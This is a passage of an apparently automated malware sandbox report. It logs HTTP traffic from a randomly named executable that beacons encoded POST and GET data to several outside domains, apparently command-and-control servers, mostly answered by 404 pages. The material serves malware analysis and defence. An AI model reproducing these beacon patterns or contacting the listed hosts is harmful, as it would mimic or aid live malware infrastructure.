                                                                  Dec 5, 2024 14:08:15.923336983 CET10822OUTPOST /bsyy/ HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Encoding: gzip, deflate, br
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Cache-Control: no-cache
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  Connection: close
                                                                  Content-Length: 10299
                                                                  Host: www.43kdd.top
                                                                  Origin: http://www.43kdd.top
                                                                  Referer: http://www.43kdd.top/bsyy/
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Data Raw: 2d 6e 3d 39 2f 2b 4d 78 65 50 75 42 70 32 68 4f 46 45 34 2f 32 69 4a 4a 71 51 4f 63 4f 74 6b 34 6b 78 2f 6f 48 58 45 45 72 6f 4e 4d 33 74 38 64 64 6b 52 30 66 47 6f 4b 4b 70 43 6f 66 70 63 4b 6e 53 37 79 44 7a 59 4d 76 70 6f 57 42 63 34 69 35 35 73 72 45 37 6a 72 79 61 66 78 46 37 53 38 71 38 6a 2b 58 66 64 35 76 47 31 30 6d 61 72 65 36 5a 6d 57 55 34 4b 62 77 68 71 7a 57 67 33 69 44 78 33 45 52 38 31 55 58 48 6a 4e 35 34 4d 2f 61 62 63 33 67 6d 46 68 66 2f 2b 39 59 59 6e 68 73 73 50 47 44 2b 79 30 50 4f 72 73 31 70 74 78 35 54 35 7a 46 65 68 31 6e 61 69 79 54 6d 70 64 57 67 34 30 73 58 53 35 56 48 69 43 69 5a 38 68 46 76 76 42 45 65 65 76 34 4e 58 47 4d 63 7a 2b 79 56 79 46 42 73 63 45 7a 56 37 69 7a 35 38 35 78 58 4d 2f 4d 6e 70 4a 2f 6e 47 30 33 55 59 54 48 7a 54 43 71 37 4c 74 67 37 41 68 71 59 2f 74 79 61 7a 51 75 62 52 4e 77 6d 63 66 37 68 72 4c 69 5a 71 4d 58 69 32 61 72 56 56 63 73 73 74 34 51 76 42 6e 35 35 33 7a 6d 2b 5a 51 61 52 34 37 4d 67 34 57 58 75 34 4c 42 6b 44 58 4a 68 43 39 5a 2f [TRUNCATED]
                                                                  Data Ascii: -n=9/+MxePuBp2hOFE4/2iJJqQOcOtk4kx/oHXEEroNM3t8ddkR0fGoKKpCofpcKnS7yDzYMvpoWBc4i55srE7jryafxF7S8q8j+Xfd5vG10mare6ZmWU4KbwhqzWg3iDx3ER81UXHjN54M/abc3gmFhf/+9YYnhssPGD+y0POrs1ptx5T5zFeh1naiyTmpdWg40sXS5VHiCiZ8hFvvBEeev4NXGMcz+yVyFBscEzV7iz585xXM/MnpJ/nG03UYTHzTCq7Ltg7AhqY/tyazQubRNwmcf7hrLiZqMXi2arVVcsst4QvBn553zm+ZQaR47Mg4WXu4LBkDXJhC9Z/wWt6COd6QCUo11hrnn9WQcytEQgsmQ7Y5i16GBira4R21PK4Df7jqWaMLoQIcBwYOQtkfHDrqVfbTIcDG5fHgZEPgZaAAjCaugiULTfeWbYcAqHPY1MZUSm+kjM+Eg8znthMGyhG8liUHUPO8zr3ftdX8KPuBASGY7GZ4OeOm4WwLqs7/rbdXCT/96fAAuopW8nNXQjrgMzB76dCWbnl/qnEIcUf4wvlyyE2ekfKY2e76UcCSay2j+KUQZDCN0bIheL3L5u1XuuiecCZfSRvwPx0j3VW8pqcqymGYR1ANNMkF6cG7Sv44OZknnb6IZkVgeilaLILuZw8GzvLBEaVHZcE61hOBVCcPrvAUA3tLKrZTCJITKPjf7pYNA4kaJwZSswZPxvwW4X79KIS+EGTqQEy5jqNsJzblJdhYVXo6ZbYNxpiWViFwlvivlPZRBYS0NkjuWReHdVnfmmAxMYqfHSjeGKOC58tOD+GSVDh2pKty4cDoQ2nxQn4ynpQmiBOaZ9j3msKg61HXcRO8tSFm/6BFn3UkW/rGrRnObfphRxWihMF2Yil4Qaj0Z2C0MaCOFfBU8fV6z86ubu8k9co9N5+u6KUSbW2H1qvdBBPhjT9Ge+u30oE8yFJqu9Dss6JN5lHDieYGMIIA35Rxs01msqrM9rK2ZnnMh [TRUNCATED]
                                                                  Dec 5, 2024 14:08:17.431955099 CET312INHTTP/1.1 404 Not Found
                                                                  Server: nginx
                                                                  Date: Thu, 05 Dec 2024 13:08:17 GMT
                                                                  Content-Type: text/html
                                                                  Content-Length: 148
                                                                  Connection: close
                                                                  ETag: "66df9b06-94"
                                                                  Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20
                                                                  Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  8192.168.2.44984238.47.232.202801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:08:18.580215931 CET460OUTGET /bsyy/?-n=w9Wsyrfddra1GxcX7luKIP81eOoQqUt/pSTnVJEXbHEmdfQx+6bPNdVPoslsCSigyUnMPNoyb3wBtIJwqnPVtzbO2HWO/vlwyzXb4OCTu0u4SZtJF3c1HS4=&e018=ylo8idjP HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Connection: close
                                                                  Host: www.43kdd.top
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Dec 5, 2024 14:08:20.114787102 CET312INHTTP/1.1 404 Not Found
                                                                  Server: nginx
                                                                  Date: Thu, 05 Dec 2024 13:08:19 GMT
                                                                  Content-Type: text/html
                                                                  Content-Length: 148
                                                                  Connection: close
                                                                  ETag: "66df9b06-94"
                                                                  Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20
                                                                  Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  9192.168.2.449859130.185.109.77801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:08:26.014554977 CET738OUTPOST /cv1w/ HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Encoding: gzip, deflate, br
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Cache-Control: no-cache
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  Connection: close
                                                                  Content-Length: 199
                                                                  Host: www.lgdiamonds.info
                                                                  Origin: http://www.lgdiamonds.info
                                                                  Referer: http://www.lgdiamonds.info/cv1w/
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Data Raw: 2d 6e 3d 48 4b 35 36 44 30 5a 68 2f 66 2b 48 6d 6b 4f 63 6a 50 53 2b 4c 4f 52 48 72 49 30 6c 6a 6d 4a 64 61 59 49 53 6d 31 7a 59 34 56 35 67 30 56 44 69 71 55 67 53 66 34 75 76 4b 35 68 57 5a 70 65 39 6f 66 47 78 58 50 6f 44 69 34 43 49 70 70 4c 78 68 7a 62 4b 6c 42 72 78 58 72 75 39 57 54 76 64 33 65 36 64 45 55 62 47 2b 51 6e 2f 76 69 39 61 50 53 77 44 69 41 52 6a 6a 2b 78 76 77 75 48 4f 53 4f 66 39 37 66 59 77 43 4e 44 77 76 6a 2f 53 79 58 46 6c 2b 2b 6b 34 34 75 4f 59 5a 35 44 6c 44 76 66 64 62 34 61 6a 73 59 2b 31 6d 79 42 76 6a 70 70 6c 6a 4a 39 4e 47 76 4b 32 34 4f 2b 30 79 41 3d 3d
                                                                  Data Ascii: -n=HK56D0Zh/f+HmkOcjPS+LORHrI0ljmJdaYISm1zY4V5g0VDiqUgSf4uvK5hWZpe9ofGxXPoDi4CIppLxhzbKlBrxXru9WTvd3e6dEUbG+Qn/vi9aPSwDiARjj+xvwuHOSOf97fYwCNDwvj/SyXFl++k44uOYZ5DlDvfdb4ajsY+1myBvjppljJ9NGvK24O+0yA==
                                                                  Dec 5, 2024 14:08:27.256509066 CET322INHTTP/1.1 404 Not Found
                                                                  Server: nginx/1.6.2
                                                                  Date: Thu, 05 Dec 2024 13:08:27 GMT
                                                                  Content-Type: text/html
                                                                  Transfer-Encoding: chunked
                                                                  Connection: close
                                                                  Content-Encoding: gzip
                                                                  Data Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a
                                                                  Data Ascii: 83(HML),I310Q/Qp/K&T*$'*gd*HN+I-0D7(bTgU!2S>0


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  10192.168.2.449868130.185.109.77801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:08:28.744229078 CET758OUTPOST /cv1w/ HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Encoding: gzip, deflate, br
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Cache-Control: no-cache
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  Connection: close
                                                                  Content-Length: 219
                                                                  Host: www.lgdiamonds.info
                                                                  Origin: http://www.lgdiamonds.info
                                                                  Referer: http://www.lgdiamonds.info/cv1w/
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Data Raw: 2d 6e 3d 48 4b 35 36 44 30 5a 68 2f 66 2b 48 6b 45 2b 63 6c 75 53 2b 63 65 52 47 6c 6f 30 6c 34 57 4a 5a 61 59 55 53 6d 78 71 41 35 6e 74 67 30 30 7a 69 72 51 4d 53 63 34 75 76 43 5a 67 39 58 4a 66 2f 6f 66 36 35 58 4b 51 44 69 38 71 49 70 72 44 78 68 43 62 4e 6a 52 72 7a 61 4c 76 62 53 54 76 64 33 65 36 64 45 55 50 34 2b 51 2f 2f 75 53 4e 61 50 7a 77 41 2b 51 52 73 72 65 78 76 36 2b 48 4b 53 4f 65 48 37 62 59 4b 43 50 37 77 76 69 50 53 78 43 78 6d 30 2b 6b 2b 79 4f 50 75 52 5a 57 54 4a 36 79 78 64 61 79 45 72 62 2b 4f 6a 30 4d 31 79 59 49 79 78 4a 5a 2b 62 6f 44 43 31 4e 44 39 70 45 2f 37 61 4e 4e 32 76 34 73 58 2f 77 49 6b 6f 57 5a 67 66 76 77 3d
                                                                  Data Ascii: -n=HK56D0Zh/f+HkE+cluS+ceRGlo0l4WJZaYUSmxqA5ntg00zirQMSc4uvCZg9XJf/of65XKQDi8qIprDxhCbNjRrzaLvbSTvd3e6dEUP4+Q//uSNaPzwA+QRsrexv6+HKSOeH7bYKCP7wviPSxCxm0+k+yOPuRZWTJ6yxdayErb+Oj0M1yYIyxJZ+boDC1ND9pE/7aNN2v4sX/wIkoWZgfvw=
                                                                  Dec 5, 2024 14:08:29.939774990 CET322INHTTP/1.1 404 Not Found
                                                                  Server: nginx/1.6.2
                                                                  Date: Thu, 05 Dec 2024 13:08:29 GMT
                                                                  Content-Type: text/html
                                                                  Transfer-Encoding: chunked
                                                                  Connection: close
                                                                  Content-Encoding: gzip
                                                                  Data Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a
                                                                  Data Ascii: 83(HML),I310Q/Qp/K&T*$'*gd*HN+I-0D7(bTgU!2S>0


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  11192.168.2.449875130.185.109.77801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:08:31.643517971 CET10840OUTPOST /cv1w/ HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Encoding: gzip, deflate, br
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Cache-Control: no-cache
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  Connection: close
                                                                  Content-Length: 10299
                                                                  Host: www.lgdiamonds.info
                                                                  Origin: http://www.lgdiamonds.info
                                                                  Referer: http://www.lgdiamonds.info/cv1w/
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Data Raw: 2d 6e 3d 48 4b 35 36 44 30 5a 68 2f 66 2b 48 6b 45 2b 63 6c 75 53 2b 63 65 52 47 6c 6f 30 6c 34 57 4a 5a 61 59 55 53 6d 78 71 41 35 6d 56 67 30 6d 4c 69 71 78 4d 53 64 34 75 76 42 5a 68 61 58 4a 65 6e 6f 66 53 39 58 4b 56 34 69 2b 69 49 6d 75 58 78 6f 51 7a 4e 74 52 72 7a 54 72 76 50 57 54 76 49 33 65 71 5a 45 55 66 34 2b 51 2f 2f 75 52 56 61 59 79 77 41 74 67 52 6a 6a 2b 78 64 77 75 48 69 53 4b 7a 6c 37 62 4d 67 43 38 7a 77 75 43 66 53 69 41 70 6d 32 65 6b 38 78 4f 50 6d 52 5a 4b 41 4a 2b 53 4c 64 66 6d 2b 72 63 4f 4f 68 44 35 57 6f 71 31 75 6d 36 68 6a 50 2f 6e 47 74 50 54 6f 77 46 79 62 52 74 74 65 7a 35 45 37 77 68 56 76 36 44 46 5a 43 34 43 78 6b 75 49 6c 65 62 7a 6c 73 30 75 4b 70 4a 55 2f 44 45 75 68 4d 73 55 36 63 37 53 43 78 33 59 51 68 56 4b 42 6e 48 30 37 48 39 4d 42 73 2f 4a 43 75 39 56 35 55 39 50 47 76 46 48 34 65 2b 50 4a 69 49 4f 6d 71 7a 46 64 4e 48 6f 7a 59 62 2f 52 78 67 4c 6f 43 69 2f 63 2b 72 36 44 31 6a 79 53 35 72 50 59 33 6f 75 54 6c 48 78 59 45 35 6d 52 79 45 31 48 64 4b 72 [TRUNCATED]
                                                                  Data Ascii: -n=HK56D0Zh/f+HkE+cluS+ceRGlo0l4WJZaYUSmxqA5mVg0mLiqxMSd4uvBZhaXJenofS9XKV4i+iImuXxoQzNtRrzTrvPWTvI3eqZEUf4+Q//uRVaYywAtgRjj+xdwuHiSKzl7bMgC8zwuCfSiApm2ek8xOPmRZKAJ+SLdfm+rcOOhD5Woq1um6hjP/nGtPTowFybRttez5E7whVv6DFZC4CxkuIlebzls0uKpJU/DEuhMsU6c7SCx3YQhVKBnH07H9MBs/JCu9V5U9PGvFH4e+PJiIOmqzFdNHozYb/RxgLoCi/c+r6D1jyS5rPY3ouTlHxYE5mRyE1HdKrSsCBFX97OWkEQxbHYCL/UrnZBiytO7A5dWLwGefSKhTbloRAXMHmpmOoGbsok4EGNyxgkfz452dNbgiXHEauNfLwTQlFYZm6EiFH5lJKFMrHHiGkuLsCoJrCYw6692nRUJs7oxWAgSNYdse2alMNt9Bo0BEioDzpyMzqSZHf2OxUgd7+K5rCAowxrnZTembA3tE68pmI0KmIpMVSzIpTU1+KfJIMrUPJ5/Ai0goejEvipa/JSgt4hsSTxWi7JBWcdCfHlWWcTnQvVCbyxJfb959NGyC3TRc6PaAyCXuJuzWQtYULaqb6O7Htdr+Ye5+CoZpZq4J+BF/mSF5kPSkqOIBSzIMsp5o+186RVbLfu25ry2ddD5JUHpfZq88cSYXWA9AttlLuslkwi4dHMC7PA3WOwfOr5WodImwsmwbslMwCqKQ7YF8emS2ZMWXAK6/M4p+2xybctBkIB/GPV2gUL9wQATiqqm6QyoBC2iO5xrKtkNZDqRtH7IQq2Pog+LQJ5BkNV4zb9u9sp6sXDBQZwYQC/XFe9XL+YCQ09DHBL5OGjx/HPTG/tDgH7zgOwsKPsjIWldd1QoAZ/AFh0dUzixNr9TxjA2VmB8PV0lND15IV5Uy9r+znLYCybK7Ecw34uLSOZQkIcBtxyoExFvpZGFI6DLBeLcMa6p [TRUNCATED]
                                                                  Dec 5, 2024 14:08:32.765182972 CET322INHTTP/1.1 404 Not Found
                                                                  Server: nginx/1.6.2
                                                                  Date: Thu, 05 Dec 2024 13:08:32 GMT
                                                                  Content-Type: text/html
                                                                  Transfer-Encoding: chunked
                                                                  Connection: close
                                                                  Content-Encoding: gzip
                                                                  Data Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a
                                                                  Data Ascii: 83(HML),I310Q/Qp/K&T*$'*gd*HN+I-0D7(bTgU!2S>0


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  12192.168.2.449881130.185.109.77801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:08:34.359159946 CET466OUTGET /cv1w/?-n=KIRaABhBgujzn3KVjNCYdeU2jI4CiDZHf/kT3kOA8kciiH38vV9KVMyDNvMwVI643JmGXckFkIiptpvhjjDesRP/SoiJcG7UzeyTKHH5ghDsthQpYxENiFA=&e018=ylo8idjP HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Connection: close
                                                                  Host: www.lgdiamonds.info
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Dec 5, 2024 14:08:35.575444937 CET317INHTTP/1.1 404 Not Found
                                                                  Server: nginx/1.6.2
                                                                  Date: Thu, 05 Dec 2024 13:08:35 GMT
                                                                  Content-Type: text/html
                                                                  Content-Length: 168
                                                                  Connection: close
                                                                  Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                  Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.6.2</center></body></html>


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  13192.168.2.449898108.181.189.7801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:08:41.208626986 CET732OUTPOST /lvda/ HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Encoding: gzip, deflate, br
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Cache-Control: no-cache
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  Connection: close
                                                                  Content-Length: 199
                                                                  Host: www.jalan2.online
                                                                  Origin: http://www.jalan2.online
                                                                  Referer: http://www.jalan2.online/lvda/
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Data Raw: 2d 6e 3d 4a 4a 72 79 55 68 4f 30 67 6d 71 6c 6e 2b 68 5a 78 4d 6a 2f 6c 42 38 48 6f 43 31 38 70 74 67 32 6d 61 52 6c 41 58 32 62 65 64 66 72 79 7a 4f 34 4d 67 7a 6c 6f 6b 58 47 2f 72 48 7a 6c 36 6f 53 32 50 78 77 77 54 39 73 66 51 4f 4d 44 66 54 4e 45 4b 75 72 70 4c 42 2f 42 73 45 31 58 48 58 6d 6f 2b 33 41 6e 54 68 44 41 75 59 6e 44 35 74 2b 31 41 72 72 59 52 6b 57 36 30 77 6b 41 44 62 72 52 55 46 66 4f 63 69 79 39 48 4c 77 35 59 52 62 6d 49 6d 5a 76 33 37 63 6e 39 52 76 6c 4a 68 6a 74 56 52 4c 41 55 6a 65 64 36 38 34 42 74 54 34 65 41 5a 79 76 77 73 39 7a 36 6d 37 42 6d 6d 61 42 67 3d 3d
                                                                  Data Ascii: -n=JJryUhO0gmqln+hZxMj/lB8HoC18ptg2maRlAX2bedfryzO4MgzlokXG/rHzl6oS2PxwwT9sfQOMDfTNEKurpLB/BsE1XHXmo+3AnThDAuYnD5t+1ArrYRkW60wkADbrRUFfOciy9HLw5YRbmImZv37cn9RvlJhjtVRLAUjed684BtT4eAZyvws9z6m7BmmaBg==
                                                                  Dec 5, 2024 14:08:42.479028940 CET279INHTTP/1.1 404 Not Found
                                                                  content-type: text/html
                                                                  cache-control: private, no-cache, max-age=0
                                                                  pragma: no-cache
                                                                  date: Thu, 05 Dec 2024 13:08:42 GMT
                                                                  server: LiteSpeed
                                                                  content-encoding: gzip
                                                                  vary: Accept-Encoding
                                                                  transfer-encoding: chunked
                                                                  connection: close
                                                                  Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a
                                                                  Data Ascii: a
                                                                  Dec 5, 2024 14:08:42.479185104 CET713INData Raw: 32 62 64 0d 0a 65 54 6b 6b db 30 14 fd 5e d8 7f b8 4d 19 b4 10 27 76 ea b0 61 3b 66 63 0f 36 18 5b a1 85 b1 8f b2 75 1d 89 ca 92 27 29 af 95 fe f7 5d d9 49 9a b6 16 d8 92 7c 75 74 ee 39 57 2a ce 3f ff fa 74 f7 e7 e6 0b 08 df aa f2 ac 08 1f 70 7e
                                                                  Data Ascii: 2bdeTkk0^M'va;fc6[u')]I|ut9W*?tp~p1(gI_8}Z4k)`-qGPQh#kYc `18at/8WY1RE.\v.2pqf*w6@!Edt,CH4


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  14192.168.2.449907108.181.189.7801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:08:43.879946947 CET752OUTPOST /lvda/ HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Encoding: gzip, deflate, br
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Cache-Control: no-cache
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  Connection: close
                                                                  Content-Length: 219
                                                                  Host: www.jalan2.online
                                                                  Origin: http://www.jalan2.online
                                                                  Referer: http://www.jalan2.online/lvda/
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Data Raw: 2d 6e 3d 4a 4a 72 79 55 68 4f 30 67 6d 71 6c 32 74 70 5a 33 76 4c 2f 30 78 38 45 32 53 31 38 38 39 68 2f 6d 61 64 6c 41 57 43 4c 65 76 72 72 7a 53 2b 34 4e 6a 72 6c 39 6b 58 47 33 4c 48 32 68 36 6f 4e 32 50 39 65 77 53 42 73 66 51 61 4d 44 66 6a 4e 45 39 79 73 76 62 42 48 4a 4d 45 37 54 48 58 6d 6f 2b 33 41 6e 54 30 6d 41 76 77 6e 44 49 64 2b 31 68 72 73 47 42 6b 52 79 55 77 6b 4b 6a 62 76 52 55 46 68 4f 59 72 6c 39 45 7a 77 35 59 42 62 6d 63 79 61 67 33 37 67 6a 39 52 6b 74 4c 49 53 72 33 6f 6b 4a 33 4c 62 65 4c 49 33 45 72 65 69 50 78 34 6c 39 77 49 4f 75 39 76 50 4d 6c 62 54 61 6d 34 70 69 55 4c 51 77 39 54 55 71 47 67 61 36 6f 4d 55 5a 64 59 3d
                                                                  Data Ascii: -n=JJryUhO0gmql2tpZ3vL/0x8E2S1889h/madlAWCLevrrzS+4Njrl9kXG3LH2h6oN2P9ewSBsfQaMDfjNE9ysvbBHJME7THXmo+3AnT0mAvwnDId+1hrsGBkRyUwkKjbvRUFhOYrl9Ezw5YBbmcyag37gj9RktLISr3okJ3LbeLI3EreiPx4l9wIOu9vPMlbTam4piULQw9TUqGga6oMUZdY=
                                                                  Dec 5, 2024 14:08:45.183384895 CET987INHTTP/1.1 404 Not Found
                                                                  content-type: text/html
                                                                  cache-control: private, no-cache, max-age=0
                                                                  pragma: no-cache
                                                                  date: Thu, 05 Dec 2024 13:08:44 GMT
                                                                  server: LiteSpeed
                                                                  content-encoding: gzip
                                                                  vary: Accept-Encoding
                                                                  transfer-encoding: chunked
                                                                  connection: close
